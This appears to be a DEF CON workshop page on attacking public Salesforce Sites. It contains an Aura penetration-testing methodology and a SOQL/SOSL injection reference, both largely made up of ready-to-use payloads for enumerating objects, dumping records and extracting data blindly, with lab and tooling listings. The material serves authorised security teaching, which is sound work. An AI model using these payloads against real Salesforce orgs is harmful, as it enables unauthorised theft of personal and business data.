Salesforce Apex Predator: Breaking Salesforce Sites

Salesforce Apex Predator: Breaking Salesforce Sites - Nitay Bachrach, Cynthia Ardman, Reco.

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Content

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DEF CON 34 Workshop 4 Hours 6 Live Labs Bring Burp Suite

Salesforce Apex Predator

Breaking Salesforce Sites

Aura · Apex · SOQL · LWR

By Nitay Bachrach and Cynthia Ardman — Reco Security Research

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The Briefing

What this workshop is

Salesforce Apex Predator is a four-hour, hands-on workshop on attacking public Salesforce Sites. Those portals — customer support desks, partner networks, help centers, job boards — sit directly on top of the CRM holding an organization's most sensitive data, and a single over-shared object or one unsanitized string concatenated into a SOQL query is enough to hand a guest user the whole thing. Over six live lab sites you will intercept Aura traffic in Burp, enumerate accessible objects through the framework's own standard APIs, hunt @AuraEnabled Apex methods inside JavaScript bundles, exploit SELECT-clause and blind SOQL injection, discover unlinked pages through route enumeration, and pull records out of next-generation LWR sites over GraphQL — finishing with an independent capture-the-flag challenge. Every target runs on a dedicated scratch org built for this workshop: no real company data, no legal risk, and every payload below is copy-paste ready.

Field Manuals

Salesforce Aura Penetration Testing Methodology

In this post, we will discuss how to pen-test Salesforce Aura sites. These sites use the Aura framework, and are often used as customer support portals or partner networks, though there are many other use-cases.

In this post we will cover how to find exposed data, how to map the site, and how to identify custom Apex methods used by custom components. Companies that want to run tests or bug bounty programs should consult their Salesforce admin and Salesforce themselves in order to formulate the engagement policies.

Rules of Engagement

Before you start testing the site, ensure you fully understand the scope and your boundaries. Salesforce instances house PII and critical business data. Avoid retrieving other users' personal data, and never attempt to delete or modify records that are not yours. *DOS attacks are completely out-of-scope*.

Prerequisites: Familiarity with Salesforce terminology (Apex, SOQL, sObjects, Sharing Rules) and experience with intercepting HTTP traffic via tools like Burp Suite.

Technical Request Structure

All Aura requests are typically sent as `POST` requests to specific endpoints like `/s/sfsites/aura` or `/aura`. Unlike standard REST APIs that use JSON bodies, Aura expects a `application/x-www-form-urlencoded` payload containing specific JSON-serialized parameters.

Hand-Crafting an Aura Call

To manually invoke server-side methods (Apex controllers or internal components), you must construct a payload with the following parameters:

- **`message`**: A JSON string defining the action to execute.
  - **`actions`**: An array of action objects.
    - **`descriptor`**: The unique signature (e.g., `serviceComponent://...`).
    - **`params`**: A JSON object of arguments.
- **`aura.context`**: A JSON string defining the client state.
  - **`mode`**: Typically "PROD".
  - **`fwuid`**: Framework UID.
  - **`app`**: The application name (e.g., `siteforce:communityApp`).
  - **`loaded`**: A map of loaded components (e.g., `{"APPLICATION@markup://siteforce:communityApp":""}`).

- **aura.pageURI** : The current page URI (e.g., `/`).
- **aura.token** : The authentication token. explicit string `"null"` for Guest Users.

Example Request:

```
POST /s/sfsites/aura?r=1 HTTP/1.1
Content-Type: application/x-www-form-urlencoded

message={"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.hostConfig.HostC
```

This request invokes `getConfigData` on the `HostConfigController`. Mastering this packet structure allows you to bypass the UI and interact directly with the backend API, which is the foundation of this methodology.

Important: This technique often works even if the site automatically redirects you to the login page or a different server entirely. Because these requests target the API endpoint directly, they bypass client-side redirections. Therefore, you should still test this even if the site appears strictly gated or redirects you elsewhere.

Phase 1: Deterministic Reconnaissance (The Route Map)

Instead of brute-forcing potential page URLs, you should query the application's internal routing table to generate a definitive map of the attack surface.

1. Route Enumeration (**routerInitializer**)

The `routerInitializer` component defines every accessible client-side route (page) in the application.

- **Endpoint:** `/s/sfsites/aura` (POST)
- **Target Component:** `markup://siteforce:routerInitializer`
- **Context Fuzzing:** The routes returned depend on the client's session state. To find hidden routes (e.g., specific flows, hidden support pages), you must query this component in multiple contexts:
  1. **No Context:** Send the request without the `renderCtx` cookie to retrieve default routes.
  2. **With Context:** Inject the `renderCtx` cookie captured from other pages (home page, login page) to reveal routes specific to that session state.

Payload:

```
{
 "actions": [
  {
   "descriptor": "aura://ComponentController/ACTION$getComponent",
   "params": {
    "name": "markup://siteforce:routerInitializer",
    "params": {}
   }
  }
 ]
}
```

Output Analysis: Extract the `id` (Page ID), `view_uuid` and `themeLayoutType` for every route returned. You will need these for deep hydration.

2. Global Layout Analysis (`pageLoader`)

Before analyzing specific pages, request the **Theme Layout**. This reveals components loaded globally, which often contain hidden Apex controllers active on every page.

Payload:

```
{
 "actions": [
  {
   "descriptor": "aura://ComponentController/ACTION$getComponent",
   "params": {
    "name": "markup://siteforce:pageLoader",
    "attributes": {
     "pageLoadType": "THEME_LAYOUT",
     "themeLayoutType": "Inner"
    }
   }
  }
 ]
}
```

3. Deep Page Hydration

Iterate through the list of routes found in Step 1. Use the `pageLoader` component to "hydrate" each page individually. This forces the server to return the definitions of every widget embedded on that page, exposing the custom Apex controllers (`apex://`) unique to that view.

Payload Construction: Map the `id` , `view_uuid` , and `themeLayoutType` from Step 1 into the `attributes` object.

Important: This is the only step where we modify `aura.context`. Set `uad` to `false`:


```
{
 "mode": "PROD",
 "fwuid": "VEhtaDlVRkdCeTJiZFhuOTVYYjRJQTJEa1N5enhOU3R5QWl2VzNveFZTbGcxMy4tMjE0NzQ4MzY0OC4xMzEwNz
 "app": "siteforce:communityApp",
 "loaded": {
  "APPLICATION@markup://siteforce:communityApp": "1533_ez-GoXD6UAAJ6rtTbHErdw"
 },
 "dn": [],
 "globals": {},
 "uad": false <-- if this is true, change it to false
}
```



```
{
 "actions": [
  {
   "descriptor": "aura://ComponentController/ACTION$getComponent",
   "params": {
    "name": "markup://siteforce:pageLoader",
    "attributes": {
     "viewId": "[PAGE_ID]",
     "routeType": "home",
     "themeLayoutType": "[themeLayoutType]",
     "params": {
      "viewid": "[VIEW_UUID]",
      "view_uddid": "",
      "entity_name": "",
      "audience_name": "",
      "picasso_id": "",
      "routeId": ""
     },
     "hasAttrVaringCmps": false,
     "pageLoadType": "STANDARD_PAGE_CONTENT",
     "includeLayout": true,
     "priority": "0"
    }
   }
  }
 ]
}
```

Phase 2: Static Analysis (Apex Method Extraction)

Once you have hydrated the pages, the server returns a large JSON object containing the component definitions. You must parse this to extract the **Apex Method Signatures** (the API endpoints) and their parameters.

1. Legacy Aura Components (`componentDefs`)

- **Location:** `context.componentDefs`
- **Logic:** Look for the `cd` (Component Definition) object and the `ac` (Actions) array.
- **Extraction:**
  - **Endpoint:** The `descriptor` field (e.g., `apex://c.MyController/ACTION$getData`).
  - **Parameters:** The `pa` array explicitly lists parameter names and types.

2. Lightning Web Components (`moduleDefs`)

LWC definitions are minified. Parameters are not explicitly listed and must be parsed from the code.

- **Location:** `context.moduleDefs`
- **Step A (Identify Method):** Check the `lri` (Lightning Resource Import) object for keys mapping to `"apexMethod"`. The key will be in dot-notation (e.g., `c.MyClass.method`) which you must convert to an Aura descriptor.
- **Step B (Extract Parameters):** Unlike legacy Lightning Component methods, LWC parameters are not explicitly defined in a signature. You must statically analyze the JavaScript `co` (code) string to trace the Apex method's lifecycle from import to execution. Follow this process:

1. Identify the Apex Method Import The compiled LWC module definition begins with an array of imports. Your first task is to locate the target Apex method descriptor within this list.

- **Target:** Look for a string matching the pattern `@salesforce/apex/Controller.Method`.
- **Example:** `"@salesforce/apex/MC_KnownIssueController.getRecord"`
- **Action:** Note the *index* of this string in the import array. This index is the key to finding the local variable.

2. Map to Local Variable The module logic is wrapped in a factory function. The arguments passed to this function correspond 1-to-1 with the items in the import array.

- **Logic:** Trace the index from the import array to the function arguments.
- **Example Code:**

```
$A.componentService.addModule(..., [
  "exports",                              // Index 0
  "@salesforce/apex/MC_KnownIssueController.getRecord"  // Index 1
], function (e, n, t) {
  // inside this function...
})
```

- **Mapping:**
  - Index 0 (`"exports"`) matches the 1st argument `e` .
  - Index 1 (`...getRecord`) matches the 2nd argument `n` .
- **Result:** Inside the function scope, the variable `n` holds the reference to your Apex method.

3. Trace Wrapper Variables LWC compilers often wrap the imported module in a helper function (commonly minified as `c` or `_interopRequireDefault`) to handle default exports and compatibility. You must track the variable if it gets reassigned.

- **Pattern:** Look for assignments where your target variable is passed to a helper function.
- **Logic:** The helper function checks if the module is an object with a `default` property. If not, it wraps it.
- **Example Code:**

```
// Helper function (simplified)
function c(e) { return e && "default" in e ? e : { default: e } }

var a = c(n); // 'n' (our method) is wrapped and assigned to 'a'
```

- **Action:** If this pattern exists, your new target variable is `a` . If not, it remains `n` .

4. Locate Usage (Default Parameters) Search for where the target variable is invoked to call the Apex method. In compiled LWC code, this is almost exclusively done via the `.default` property.

- **Search Query:** Search for the literal string `variable.default` (e.g., `a.default`).
- **Example Code:**

```
return a.default({
  recordId: e,
  searchType: "FULL"
}, {
  sourceContext: { tagName: "c/hcKnownIssueService" }
})
```

- **Analysis:** This invocation is the "smoking gun" that links the Apex method to the parameters it expects.

5. Extract Parameters The first argument passed to the `.default()` function is the configuration object containing the parameters.

- **Extraction:** Isolate the object literal inside the first set of parentheses.
- **Result:** In the example above, the parameters are `recordId` and `searchType` . Your final payload should include these keys.

Note that occasionally the mapping might be defined as a variable, before `default` is being used:
Example Code:

```
var t = {
    recordId: e,
    searchType: "FULL"
};
return a.default(t, {
    sourceContext: { tagName: "c/mcKnownIssueService" }
})
```

6. Determine Paremeter type If you provide the wrong type, Salesforce will tell you what the expected type is. For exammple, if you call `MC_KnownIssueController.getRecord` with a list containing an empty list (`[[]]`) as the value of `recordId` , and omit other parameters, you will get an error such as:

```
Value provided is invalid for action parameter 'recordId' of type 'String'
```

3. Static Library Analysis (app.js, appcore.js, bootstrap.js)

The application also loads core libraries containing global components that are not specific to any single page but are available application-wide.

- **Files:** `app.js` , `appcore.js` , and `bootstrap.js`
- **Location:** `/s/sfsites/l/[CONTEXT]/app.js` and `/s/sfsites/l/[CONTEXT]/appcore.js` . You can find the `[CONTEXT]` string (typically a hash or ID) in the URL of other script tags on the main page (e.g., `src="/s/sfsites/l/%CONTEXT%/..."`).
- **Extraction Logic:**
  1. **Search Pattern:** These files are massive JavaScript bundles, but they contain embedded JSON definitions for components. Search for JSON objects starting with the key `{"n":` (Name) or `{"x":"G","co":` .
  2. **Process:** Extract and parse these JSON objects.
  3. **Analyze:** Apply the same extraction rules as above:
     - **Legacy:** Check for `descriptor` and `pa` (params).
     - **LWC:** Check for `lri` (Lightning Resource Import) mapping to `apexMethod` , then parse the `co` (code) string as described in the LWC section.

Phase 3: Self-Registration

Operating as a "Guest" is restrictive. While it is recommended to explore the site as a guest user, a complete penetration test should also attempt to elevate to a "Community User" (a valid, low-privileged user), which often have access to more data and functionality.

1. Indirect Registration

If the native Salesforce "Register" functionality is disabled, check if the site is connected to the company's broader ecosystem (e.g., Support Portals, Developer Communities).

- **Concept:** Many Salesforce sites (like Support portals) allow login via the company's main product or ecosystem credentials. Creating an account in the main product ecosystem often grants access to the Salesforce-based support site via Just-in-Time (JIT) provisioning.
- **Attack Vector:**
  1. Identify if the target validates login via the company's main ecosystem (e.g., "Log in with your [Product] Account").
  2. Create a free account in the vendor's main product ecosystem.
  3. Use this valid ecosystem account to authenticate to the Salesforce support site.
  4. **Result:** The Salesforce site JIT-provisions a Community User for you, granting a valid `sid` (Session ID) and access to "Authenticated User" sharing rules.

2. Native Self-Registration

If you could not use JIT provisioning, check for enabled native registration. Even if the UI is hidden, the `LightningSelfRegisterController` might still be active. Attempt to invoke the `registerUser` Apex action directly.

Phase 4: Data Enumeration

1. Object Enumeration (`HostConfigController.getConfigData`)

Use this standard controller to list every object API name in the environment. This helps identify high-value custom objects (e.g., `Payments__c`, `KYC_Data__c`).

- **Descriptor:** `serviceComponent://ui.force.components.controllers.hostConfig.HostConfigController/ACTION$getConfigData`

2. Field Enumeration (`RecordUiController`)

Once you've identified interesting objects, use `getObjectInfo` to "describe" them and retrieve their field names, types, and relationships. This is useful to map the database schema and identify sensitive fields.

- **Descriptor:** `aura://RecordUiController/ACTION$getObjectInfo`

Payload:

```
{
 "actions": [
  {
   "id": "123;a",
   "descriptor": "aura://RecordUiController/ACTION$getObjectInfo",
   "callingDescriptor": "UNKNOWN",
   "params": {
    "objectApiName": "Payments__c"
   }
  }
 ]
}
```

The response includes a `fields` object mapping each field API name to its type, label, and relationship info. Use this to identify sensitive fields (e.g., `SSN__c`, `API_Key__c`) and construct payloads for `getRecord`. Additionally, the response contains the `childRelationships` object, which lists all child relationships of the object. Use this to identify how this object is related to other objects in the Salesforce instance.

3. Record Dumping (`SelectableListDataProviderController.getItems`)

Use this controller to dump records from the objects identified above. This is effective for testing Guest User Read Access misconfigurations.

- **Descriptor:** `serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems`
- **Params**:
  - `entityNameOrId`: The API name (e.g., `Account`, `Case`) or ID of the target SObject to query.
  - `layoutType`: Specifies the set of fields to retrieve based on configured layouts. Use `FULL` for more fields, and 'COMPACT' for fewer fields.
  - `pageSize`: The number of records to return per request. The maximum allowed value is usually 2000.
  - `currentPage`: The 0-indexed page number to retrieve. Increment this to iterate through paginated results.
  - `getCount`: If set to `true`, the response will include a `totalCount` of matching records, which is essential for determining loop termination.
  - `whereConditionMap`: An optional list of filters to apply, functioning like a SOQL `WHERE` clause.
    - Format: `[{"field": "API_Name", "op": "operator", "value": "search_term"}]`
    - Example: `[{"field":"Name","op":"like","value":"Admin%"}]`
  - `sortBy`: The field API name to use for sorting results (e.g., `CreatedDate`).
  - `enableRowActions`: Controls inclusion of UI-specific action metadata. Set to `false` to reduce noise.

- `useTimeout` : Set to `false` to avoid client-side timeout restrictions.
- `queryLocator` : Internal cursor for server-side pagination state. Usually set to `null` for initial requests.
- `relatedListId` / `selectedRelatedListId` : Optional IDs used when targeting a specific related list component rather than the object directly.
- `selectedParentId` : The ID of the parent record, required only when querying a related list context.
- `isNotSelectableFieldName` : Technical flag, typically set to `false` .

Payload:


```
{
 "actions": [
  {
   "id": "123;a",
   "descriptor": "serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListD
   "callingDescriptor": "UNKNOWN",
   "params": {
    "entityNameOrId": "Account",
    "pageSize": 200,
    "currentPage": 0,
    "whereConditionMap": [],
    "getCount": true,
    "layoutType": "FULL",
    "enableRowActions": false,
    "useTimeout": false,
    "queryLocator": null,
    "sortBy": null,
    "relatedListId": null,
    "selectedParentId": null,
    "selectedRelatedListId": null,
    "isNotSelectableFieldName": false
   }
  }
 ]
}
```


4. Targeted Record Retrieval (`RecordGvpController.getRecord`)

Use this controller to retrieve specific records by ID with fine-grained field control. This is useful when `getItems` times out, or when you need fields not visible in the list layout.

- **Descriptor:**
  `serviceComponent://ui.force.components.controllers.recordGlobalValueProvider.RecordGvpController/ACTIO`

N$getRecord`

- **Key Param:** `recordDescriptor` - a dot-separated string encoding: `recordId.recordTypeId.layoutType.layoutOverride.parentId.fields.mode.updateMRU.transactionGuid.refreshFields.optionalFields`

Payload:


```
{
 "actions": [
  {
   "id": "123;a",
   "descriptor": "serviceComponent://ui.force.components.controllers.recordGlobalValueProvider.RecordGvpControlle
   "callingDescriptor": "UNKNOWN",
   "params": {
    "recordDescriptor": "001XXXXXXXXXXX.undefined.null.null.null.Id.VIEW.false.null.Name,Phone,BillingCity,SSN__c.r
   }
  }
 ]
}
```


Note: For relationship fields (e.g., `CreatedBy.Name`), encode the dot as `;2`. So `CreatedBy.Name` becomes `CreatedBy;2Name` in the `recordDescriptor`.

5. Keyword Search (`ScopedResultsDataProviderController.getItems`)

Used to search for records using a keyword. This is useful when `SelectableListDataProvider.getItems`) times out, or when you want to look for interesting records (e.g., "Bank", "Salary", "Credit") and not sure which field to query. It also supports fetching additional fields not returned by the default layouts.

- **Descriptor:** `serviceComponent://ui.search.components.forcesearch.scopedresultsdataprovider.ScopedResultsDataProviderController/ACTION$getLookupItems`
- **Key Params:** `scope` (Target Object), `term` (Keyword), `pageSize` (Limit), `additionalFields` (Extra Fields List).

Payload:

```
{
 "actions": [
  {
   "id": "123;a",
   "descriptor": "serviceComponent://ui.search.components.forcesearch.scopedresultsdataprovider.ScopedResultsDa
   "callingDescriptor": "UNKNOWN",
   "params": {
    "scope": "Account",
    "term": "Bank",
    "pageSize": 100,
    "currentPage": 0,
    "sortBy": "",
    "enableRowActions": false,
    "additionalFields": ["Phone", "CreatedBy.Name"],
    "contextId": "",
    "dependentFieldBindings": {},
    "additionalContext": null,
    "source": null,
    "useADS": false
   }
  }
 ]
}
```


6. GraphQL Data Enumeration (`RecordUiController.executeGraphQL`)

Salesforce provides a GraphQL API for retrieving records, but there is also an undocumented Aura controller that allows you to execute GraphQL queries directly via the Aura endpoint.

- **Descriptor:** `aura://RecordUiController/ACTION$executeGraphQL`
- **Key Advantages:**
  - **Introspection:** Can query the schema to discover fields on objects you have access to.
  - **Mutations:** Supports creating/updating records if permissions allow.

Payload:

```
{
 "actions": [
  {
   "id": "123;a",
   "descriptor": "aura://RecordUiController/ACTION$executeGraphQL",
   "callingDescriptor": "markup://forceCommunity:richText",
   "params": {
    "queryInput": {
     "operationName": "accounts",
     "query": "query accounts { uiapi { query { Account(first: 2000) { edges { node { Name { value } } } totalCount pageI
     "variables": {}
    }
   },
   "version": "64.0",
   "storable": true
  }
 ]
}
```

To paginate, take the `endCursor` from the response (a Base64 string) and pass it in the `after` argument of your next query: `Account(first: 2000, after: "YOUR_CURSOR_HERE")`.

7. Listing and downloading files

Salesforce uses three distinct objects for file storage.

- **`Document`**: The legacy storage object for resources.
- **`ContentDocument`**: The "Master" container for a file in the modern "Salesforce Files" system. It represents the file itself but not the data.
- **`ContentVersion`**: The actual "Data" version of a file. Every `ContentDocument` has one or more `ContentVersion` children (one for each version).

A. File Object Types

1. **Document (Prefix `015`)**
   - **Usage**: Legacy features, Email Templates, Visualforce assets.
   - **Download URL**: `https://[site_url]/servlet/servlet.FileDownload?file=[FILE_ID]`
   - **Example**: `https://example.force.com/servlet/servlet.FileDownload?file=015XXXXXXXXXXX`
1. **ContentDocument (Prefix `069`)**
   - **Usage**: Parent container for Files. Read-Only. Cannot be used to upload files directly.
   - **Download URL**: `https://[site_url]/sfc/servlet.shepherd/document/download/[FILE_ID]`
   - **Example**: `https://example.force.com/sfc/servlet.shepherd/document/download/069XXXXXXXXXXX`
1. **ContentVersion (Prefix `068`)**

- **Usage**: The object you interact with to upload or retrieve file content.
- **Download URL**: `https://[site_url]/sfc/servlet.shepherd/version/download/[FILE_ID]`
- **Example**: `https://example.force.com/sfc/servlet.shepherd/version/download/068XXXXXXXXXXX`

B. Enumeration Strategy

To list these files, use the **`SelectableListDataProviderController`** (described in Phase 4, Step 3) or **`ScopedResultsDataProviderController`** (described in Phase 4, Step 5) to dump records for the specific object entity.

- **Target Entities**: `Document`, `ContentDocument`, `ContentVersion`
- **Payload Example**:

```
{
 "actions": [
  {
   "descriptor": "serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableList
   "params": {
    "entityNameOrId": "ContentDocument",
    "pageSize": 100,
    "layoutType": "FULL"
   }
  }
 ]
}
```

Once you retrieve the IDs (e.g., `069...`), construct the download URLs as shown above.

Phase 5: Vulnerability Exploitation

Target the custom Apex methods identified in Phase 2 for specific vulnerability classes.

Credits

I want to thank Aaron Costello, his 2020 post, is, as far as I know, the first public description of aura sites pentesting. He described some of the techniques described here:

- How to use HostConfigController.getConfigData to enumerate objects
- How to use SelectableListDataProviderController.getItems and ScopedResultsDataProviderController.getLookupItems to dump records.
- How to construct the URL for files found using those techniques.
- Using the JS files to find Lightning Component Apex methods.

I want to thank the Mandiant team for their research, who were the first to fully explore the GraphQL aura endpoint, and describe it in detail and why it's useful.

SOQL & SOSL Injection Reference Guide

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1. Introduction

Salesforce Apex controllers sometimes build SOQL or SOSL queries dynamically using user-supplied input. When that input is not properly sanitized, an attacker can manipulate the query structure to access data they are not authorized to see — bypassing sharing rules, field-level security, and object-level permissions.

SOQL and SOSL injection follow the same core principle as SQL injection, but each language has its own rules and constraints that shape how attacks are constructed. Understanding those constraints is what separates a working payload from a syntax error.

---

2. Querying in Salesforce

Salesforce provides two query languages: SOQL for structured record retrieval and SOSL for full-text search.

SOQL

SOQL (Salesforce Object Query Language) retrieves records from a single object at a time. It looks similar to SQL but has important differences.

Basic structure:

```
SELECT Id, Name, Phone
FROM Contact
WHERE Name LIKE 'Admin%'
```

Key differences from SQL:

- No `UNION` — you cannot combine results from multiple objects in a single query.
- No traditional `JOIN` — instead, SOQL supports relationship traversal using dot notation and child subqueries.
- Subqueries in WHERE — you can use `IN (SELECT ...)` to filter based on another object's data. This is the foundation of blind injection.
- AND/OR cannot be mixed at the same level without parentheses — `WHERE a = 1 AND b = 2 OR c = 3` is a syntax error. You can only append the same operator the existing clause already uses.
- No constant-to-constant comparisons — `WHERE '1' = '1'` is invalid. Comparisons must involve a field on one side: `WHERE Id != ''`.

Relationship traversal:

Parent fields are accessed via dot notation:

```
SELECT Name, CreatedBy.Name, Owner.Email FROM Case
```

Child records are accessed via subqueries in the SELECT clause:

```
SELECT Name, (SELECT Subject, Description FROM Cases) FROM Account
SELECT Name, (SELECT Member.Name, Member.Phone FROM NetworkMembers) FROM Network
```

SOSL

SOSL (Salesforce Object Search Language) performs full-text search across multiple objects simultaneously. Unlike SOQL, it does not query a single table — it searches an index and returns matching records from whichever objects you specify.

Basic structure:

```
FIND 'search term' IN ALL FIELDS
RETURNING Account(Name, Phone), Contact(Name, Email)
```

Key points:

- `FIND` takes a search term — wildcards are supported (`Admin*`).
- `RETURNING` specifies which objects to include in results and which fields to return for each.
- Multiple objects can be searched in a single SOSL statement.
- In Apex, the search term is wrapped in single quotes: `'FIND \'' + term + '\' IN ALL FIELDS ...'` . This is different from the API format where curly braces are used.

Vulnerable pattern:

When the fields passed to a `RETURNING` clause are user-controlled and joined without sanitization, an attacker can inject a `WHERE` clause directly into the field list — this is valid SOSL syntax and is the basis of the SOSL RETURNING WHERE injection technique described in section 4.4.

---

3. Detecting Injection

Step 1: Find candidate parameters

Target parameters that are likely used in queries: search terms, filter strings, field name lists, sort fields, and ID parameters.

Step 2: Test for injection

Run these payloads in sequence. Stop when injection is confirmed.

Quote test — does a single quote cause a different error?

```
test'
```

Look for SOQL error indicators in the response:

- `unexpected token`
- `MALFORMED_QUERY`
- `SOQL`
- `syntax error`
- `line X, column Y`

Escaped quote test — confirms string concatenation:

```
test\'
```

If `test'` errors but `test\'` succeeds, the input is being concatenated into a string literal.

Tautology test — confirms you can manipulate query logic:

```
test' AND Id != '
```

If this succeeds where `test'` errored, injection is confirmed.

Step 3: Identify injection location

The location of the injection determines which techniques apply.

WHERE clause injection — the parameter lands inside a WHERE condition. Both blind and direct techniques are available depending on whether results are returned.

SELECT clause injection (via `fields[]` array) — the parameter is joined into the SELECT field list. Use the following probe to distinguish SOQL SELECT from SOSL RETURNING:

```
Name WHERE Id != NULL
```

Response	Injection type
Returns results normally	SOSL RETURNING WHERE — inject WHERE clauses
SOQL error: `unexpected token: 'WHERE'`	SOQL SELECT clause — inject child subqueries

ORDER BY injection — if injection lands only in an ORDER BY clause, it has no exploitable security impact. SOQL ORDER BY does not support subqueries. Do not pursue further.

---

4. Exploitation Techniques

4.1 Direct Injection

Direct injection applies when the query results are returned in the response. Data is immediately visible — no inference required.

WHERE Clause Widening

If a parameter is used in a `LIKE` or `=` condition, you can widen the query to return more records by replacing the search value with a wildcard.

Vulnerable code:

```
String query = 'SELECT Id, Name FROM Contact WHERE Name LIKE \'%' + searchKey + '%\'';
```

Injection:

```
searchKey = %
```

This returns all Contact records rather than just those matching the intended search.

Field List Injection

If a `fields[]` array is joined directly into the SELECT clause, you can inject additional fields beyond what the UI would normally return.

Extra fields — request sensitive fields not shown in the UI:

```
{ "fields": ["Name", "SSN__c", "Salary__c"] }
```

Relationship traversal — traverse parent relationships to pull in fields from related objects:

```
{ "fields": ["Name", "CreatedBy.Name", "Owner.Email"] }
```

Child subqueries — return entire sets of related child records in a single response:

```
{
  "fields": [
    "Name",
    "(SELECT Subject, Description FROM Cases)",
    "(SELECT Member.Name, Member.Email, Member.Phone FROM NetworkMembers)"
  ]
}
```

The child records are returned nested inside each parent record. To find valid child relationship names, describe the target object using `getObjectInfo` and inspect the `childRelationships` array.

4.2 Table Pivoting

Table pivoting requires injection points in both the SELECT clause (via a `fields` parameter) and the WHERE clause (via a `name` or similar parameter). With control over both, you can completely restructure the query to target a different object entirely, with results returned directly in the response.

Vulnerable code:

```
String query = 'SELECT ' + fields + ' FROM Ship__c WHERE Name = \'' + name + '\' LIMIT 1';
```

The attack:

Inject into `fields` to change the FROM clause and open a string literal with a trailing single quote. The original `FROM Ship__c WHERE Name = '` gets absorbed into that string. Then close the string cleanly with the `name` injection.

```
fields = "Name, Value__c FROM TargetObject__c WHERE Name != '"
name   = " AND Name='desired record name"
```

Resulting query:

```
SELECT Name, Value__c FROM TargetObject__c WHERE Name != ' FROM Ship__c WHERE Name = ' AND Name='desired
--                                |_____________________|
--                                   string literal
```

The chunk `' FROM Ship__c WHERE Name = '` becomes a string value in a comparison. The query runs against `TargetObject__c` and returns results directly.

When to use this:

- Both a field list parameter and a WHERE string parameter are injectable
- You want to read from an object other than the one the method was designed to query
- You want immediate results without blind inference

4.3 Blind Injection

Blind injection applies when the application returns no query data — only a success/fail signal, a count, or some other indirect indicator. Data is inferred by constructing payloads that evaluate to true or false.

WHERE Clause Blind Injection

Inject a subquery into the WHERE clause that acts as a boolean gate. If the subquery matches, the outer query returns a result (TRUE). If not, it returns nothing (FALSE).

Injection pattern:

```
VALID_ID' AND CreatedById IN (SELECT CreatedById FROM Contact WHERE Name LIKE 'A%') AND Id != '
```

Use this to extract field values character by character:

```
Guess 'A'    no result
Guess 'B'    result returned    first character is 'B'
Guess 'Ba'    no result
Guess 'Be'    result returned    second character is 'e'
... repeat until complete
```

Bridging across object types with `CreatedById`:

Direct `Id` comparisons between different object types often fail with a type mismatch error. Use `CreatedById` or `OwnerId` instead — both are User IDs and consistent across all objects.

```
-- Reliable cross-object link
CreatedById IN (SELECT CreatedById FROM Contact WHERE Email LIKE 'admin%')

-- Often fails with type mismatch
Id IN (SELECT Id FROM Contact WHERE Email LIKE 'admin%')
```

SELECT Clause Blind Injection

If injection lands in a `fields[]` array (SOQL SELECT clause), you cannot inject a WHERE condition directly. Instead, inject a child relationship subquery that itself contains a `WHERE ... IN (SELECT ...)` filter. The presence or absence of child records in the response becomes the boolean oracle — no WHERE clause injection point required.

Injection pattern:

```
{
  "fields": ["(SELECT MemberId FROM NetworkMembers WHERE MemberId IN (SELECT CreatedById FROM Account WHE
}
```

Resulting query:

```
SELECT (SELECT MemberId FROM NetworkMembers
      WHERE MemberId IN (SELECT CreatedById FROM Account WHERE Name LIKE 'B%'))
FROM Network WHERE Id = :networkId
```

Oracle:

- Response contains NetworkMember records condition is true
- Response contains empty NetworkMembers condition is false

Extract data character by character using the same LIKE prefix matching as WHERE clause blind injection. The linking field types must match — `MemberId` on NetworkMember is a User ID, `CreatedById` on any object is also a User ID.

4.4 SOSL RETURNING WHERE Injection

When a `fields[]` array is joined directly into a SOSL `RETURNING` clause, you can inject a `WHERE` clause into the field list. This is valid SOSL syntax and filters the returned records, creating a boolean oracle.

Vulnerable code:

```
String sosl = 'FIND \'' + String.escapeSingleQuotes(queryDescriptor.searchTerm) + '*\' '
        + 'IN ALL FIELDS RETURNING Account(' + String.join(queryDescriptor.fields, ',') + ')';
```

Note that `searchTerm` is protected by `escapeSingleQuotes()`, but the array elements are not — `String.join()` does not sanitize individual elements.

The attack:

```
{
  "queryDescriptor": {
    "fields": ["Name WHERE CreatedById IN (SELECT CreatedById FROM Lead WHERE Name LIKE 'Je%')"],
    "searchTerm": "United"
  }
}
```

Resulting SOSL:

```
FIND 'United*' IN ALL FIELDS
RETURNING Account(Name WHERE CreatedById IN (SELECT CreatedById FROM Lead WHERE Name LIKE 'Je%'))
```

Oracle:

Condition	Records returned	Interpretation
`Lead WHERE Name LIKE 'Je%'`	11	TRUE
`Lead WHERE Name LIKE 'Jx%'`	0	FALSE

The `searchTerm` must match enough records to serve as the baseline. Use `CreatedById` for cross-object bridging, not `Id`.

03

The Labs

Six targets · open in a proxied browser

01 Aura Standard APIs Exposed objects · getConfigData · executeGraphQL Open 02 Custom Apex — Object & Field Control @AuraEnabled · retrieveRecords · parameter tampering Open 03 SELECT Clause Injection Relationship traversal · subqueries in the field list Open 04 Blind SOQL Injection Search-term oracle · cross-object pivot via subquery Open 05 Route Enumeration + LWC Analysis routerInitializer · hidden page · capture the flag Open 06 LWR GraphQL Enumeration /webruntime · ui-api object-info · guest GraphQL Open

Rules of engagement: every lab above is a disposable scratch org provisioned for this workshop. Do not point these techniques at any org you are not explicitly authorized to test, and DoS is out of scope everywhere — here and in the wild.

04

The Arsenal

Tooling used throughout the labs

github.com/irsdl auraditor Builds and replays Aura requests for you — enumerate objects, fire off standard controller actions, and dump records without hand-crafting payloads. View repository github.com/google aura-inspector DevTools extension that exposes the live Aura component tree, actions, and events in the browser — the fastest way to find which component calls what. View repository github.com/nitay-bachrach lwred Recon for LWR sites: walks the `/webruntime` surface, lists reachable objects, and drives guest GraphQL queries. View repository

Salesforce Apex Predator

DEF CON 34 · Workshop Authorized testing only